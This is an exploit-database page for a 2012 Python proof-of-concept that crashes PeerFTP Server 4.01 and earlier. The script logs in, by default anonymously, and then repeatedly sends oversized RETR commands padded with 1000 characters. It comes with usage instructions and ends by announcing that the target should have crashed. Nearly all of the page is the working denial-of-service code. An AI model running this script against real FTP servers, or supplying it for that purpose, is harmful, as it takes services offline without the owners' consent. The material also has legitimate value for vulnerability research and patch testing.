[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : PeerFTP Server <=v4.01 Remote Crash PoC
# Published : 2012-03-20
# Author :
# Previous Title : Presto! PageManager <= 9.01 Multiple Vulnerabilities
# Next Title : Google Chrome 4.0.249.30 DoS PoC
#!/usr/bin/python
# PeerFTP Server <=v4.01 Remote Crash PoC
# written by localh0t
# Date: 19/03/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar
from socket import *
import sys, struct, os
if (len(sys.argv) < 3):
print "nPeerFTP Server <=v4.01 Remote Crash PoC"
print "n Usage: %s <host> <port> n" %(sys.argv[0])
sys.exit()
def checkDefaultUser(username,password):
if username == '':
username = "anonymous"
if password == '':
password = "anonymous@test.com"
else:
pass
return username,password
def createUser():
username = raw_input("[!] Insert username (default: anonymous)> ")
password = raw_input("[!] Insert password (default: anonymous@test.com)> ")
return checkDefaultUser(username,password)
(username,password) = createUser()
print "n[!] Connecting to %s ..." %(sys.argv[1])
# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
print "[!] USERNAME: " + username
sock.send("USER " + username + "rn")
sock.recv(1024)
print "[!] PASSWORD: " + password
sock.send("PASS " + password + "rn")
sock.recv(1024)
print "[!] Sending payload..."
payload = "RETR " + ("X" * 1000) + "rn"
for i in range (1, 5):
sock.send(payload)
sock.close()
print "[!] Exploit succeed. Target should crashed."
sys.exit()